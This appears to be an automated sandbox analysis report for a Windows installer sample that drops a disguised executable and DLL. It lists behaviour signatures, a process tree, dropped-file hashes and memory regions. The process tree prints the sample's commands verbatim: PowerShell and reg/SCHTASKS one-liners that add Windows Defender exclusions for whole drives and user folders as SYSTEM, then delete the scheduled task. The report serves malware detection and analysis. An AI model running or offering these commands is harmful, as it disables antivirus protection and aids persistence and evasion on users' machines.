Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/10/2026, 16:52

General

  • Target
    install.2.0.02.exe
  • Size 38.9MB
  • Sample261024-vdttbaa14s
  • SHA256 6f1e9411de67a77f4847e6c371ef19816f1b705efd8b9727bd8466435325ae50
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:2960
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:2156
    • C:\Users\Public\TQpGLz\cjjAIH.exe
      "C:\Users\Public\TQpGLz\cjjAIH.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5688
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of AdjustPrivilegeToken
        PID:1376
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\TQpGLz\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:6112
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\TQpGLz\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3284
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:4252
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:5336
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            • Suspicious use of WriteProcessMemory
            PID:3968
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:812
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:4528
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:1720
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                • Suspicious use of WriteProcessMemory
                PID:4508
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:3324
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:3640
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:4108
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    • Suspicious use of WriteProcessMemory
                    PID:5064
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:4364
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:1524
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:828
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        PID:5144
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:2668
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:5480
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:4628
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\TQpGLz" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          PID:4596
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\TQpGLz" /t REG_DWORD /d 0 /f
                            2⤵
                              PID:4708
                          • C:\Windows\system32\cmd.exe
                            cmd.exe
                            1⤵
                              PID:3372
                            • C:\Users\Public\TQpGLz\cjjAIH.exe
                              "C:\Users\Public\TQpGLz\cjjAIH.exe"
                              1⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              PID:1684
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              PID:5632
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                                2⤵
                                  PID:5944
                              • C:\Windows\system32\cmd.exe
                                "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                1⤵
                                • Executes a command shell one-liner
                                PID:4904
                                • C:\Windows\System32\reg.exe
                                  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                  2⤵
                                    PID:4448
                                • C:\Windows\system32\cmd.exe
                                  "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                  1⤵
                                  • Executes a command shell one-liner
                                  PID:5792
                                  • C:\Windows\System32\reg.exe
                                    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                    2⤵
                                      PID:972

                                  Network

                                        MITRE ATT&CK Enterprise v16

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                        • Size 1KB
                                        • SHA256 c7cabf8a593fd2e39ddd70f5efc9b900b6d18725b3ec1aaa99f6659e3d25a004
                                        • MD5 SHA1 SHA512 TLSH

                                        B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                        • Size 1KB
                                        • SHA256 10cc0461e16975f580142e5d8fbe79ebf4710c8c8a689dcbd73a5a841019bb37
                                        • MD5 SHA1 SHA512 TLSH

                                        0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                        • Size 512B
                                        • SHA256 3d3bde5116cfa13c291cd66e1813f096b8834af6fef5b4b20cd7233762b924ae
                                        • MD5 SHA1 SHA512 TLSH

                                        B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                        • Size 506B
                                        • SHA256 8c7d2fd792fc2726d2dfc5f56d340ef18f464633737085f338a1cde8e5c96bf5
                                        • MD5 SHA1 SHA512 TLSH

                                        __PSScriptPolicyTest_enw5oreb.sh1.psm1

                                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_enw5oreb.sh1.psm1
                                        • Size 60B
                                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                        • MD5 SHA1 SHA512 TLSH

                                        UxEnhance64.dll

                                        • Path C:\Users\Public\TQpGLz\UxEnhance64.dll
                                        • Size 3.1MB
                                        • SHA256 1c8e41fa3bf8584538a78c1d5f731a24047c1d32b04e80aad38a036de0ba345d
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        adoresd.dat

                                        • Path C:\Users\Public\TQpGLz\adoresd.dat
                                        • Size 4.8MB
                                        • SHA256 9a03a2c53d7faa75db7c8209873aee34f867a422b726f109cf559ed675ca4f33
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        cjjAIH.exe

                                        • Path C:\Users\Public\TQpGLz\cjjAIH.exe
                                        • Size 135KB
                                        • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        msadox.tb

                                        • Path C:\Users\Public\TQpGLz\msadox.tb
                                        • Size 8KB
                                        • SHA256 80a14ca19fb035979ed10519a692955fed310baf443652ff76ff26153c074d08
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        memory/1376-604-0x000001E946FA0000-0x000001E946FBE000-memory.dmp

                                        memory/1376-609-0x000001E946FC0000-0x000001E946FCA000-memory.dmp

                                        memory/1376-605-0x000001E9471F0000-0x000001E9472A2000-memory.dmp

                                        memory/1376-599-0x000001E92EAF0000-0x000001E92EB12000-memory.dmp

                                        memory/1684-584-0x00007FFC5A5E0000-0x00007FFC5A5E2000-memory.dmp

                                        memory/1684-585-0x0000024719150000-0x0000024719A27000-memory.dmp

                                        memory/1684-590-0x0000024719150000-0x0000024719A27000-memory.dmp

                                        memory/1684-592-0x0000024719150000-0x0000024719A27000-memory.dmp

                                        memory/1684-591-0x0000024719150000-0x0000024719A27000-memory.dmp

                                        memory/1684-593-0x00007FFC5A5D0000-0x00007FFC5A5D2000-memory.dmp

                                        memory/1684-589-0x0000024719150000-0x0000024719A27000-memory.dmp

                                        memory/1684-579-0x00007FFC37A00000-0x00007FFC37F1E000-memory.dmp

                                        memory/1684-582-0x0000024719150000-0x0000024719A27000-memory.dmp

                                        memory/2960-0-0x0000000000480000-0x000000000048E000-memory.dmp

                                        memory/2960-526-0x00007FFC49C90000-0x00007FFC49CA2000-memory.dmp

                                        memory/2960-525-0x0000000000480000-0x000000000048E000-memory.dmp

                                        memory/2960-503-0x00007FFC49C90000-0x00007FFC49CA2000-memory.dmp

                                        memory/2960-1-0x0000000001F50000-0x0000000001F5C000-memory.dmp

                                        memory/5688-538-0x000001CFF9E40000-0x000001CFFA717000-memory.dmp

                                        memory/5688-569-0x000001CFF9E40000-0x000001CFFA717000-memory.dmp

                                        memory/5688-566-0x000001CFF9E40000-0x000001CFFA717000-memory.dmp

                                        memory/5688-560-0x000001CFFAA80000-0x000001CFFAACE000-memory.dmp

                                        memory/5688-561-0x000001CFFAB60000-0x000001CFFABEA000-memory.dmp

                                        memory/5688-558-0x000001CFF9E40000-0x000001CFFA717000-memory.dmp

                                        memory/5688-564-0x000001CFFAB60000-0x000001CFFABEA000-memory.dmp

                                        memory/5688-563-0x000001CFFAB60000-0x000001CFFABEA000-memory.dmp

                                        memory/5688-562-0x000001CFFAB60000-0x000001CFFABEA000-memory.dmp

                                        memory/5688-552-0x000001CFF9E40000-0x000001CFFA717000-memory.dmp

                                        memory/5688-547-0x000001CFF9E40000-0x000001CFFA717000-memory.dmp

                                        memory/5688-548-0x000001CFF9E40000-0x000001CFFA717000-memory.dmp

                                        memory/5688-546-0x000001CFF9E40000-0x000001CFFA717000-memory.dmp

                                        memory/5688-545-0x000001CFF9E40000-0x000001CFFA717000-memory.dmp

                                        memory/5688-541-0x000001CFF9E40000-0x000001CFFA717000-memory.dmp

                                        memory/5688-540-0x00007FFC5A5E0000-0x00007FFC5A5E2000-memory.dmp

                                        memory/5688-533-0x00007FFC37A00000-0x00007FFC37F1E000-memory.dmp

                                        memory/5688-532-0x00007FFC5A5D0000-0x00007FFC5A5D2000-memory.dmp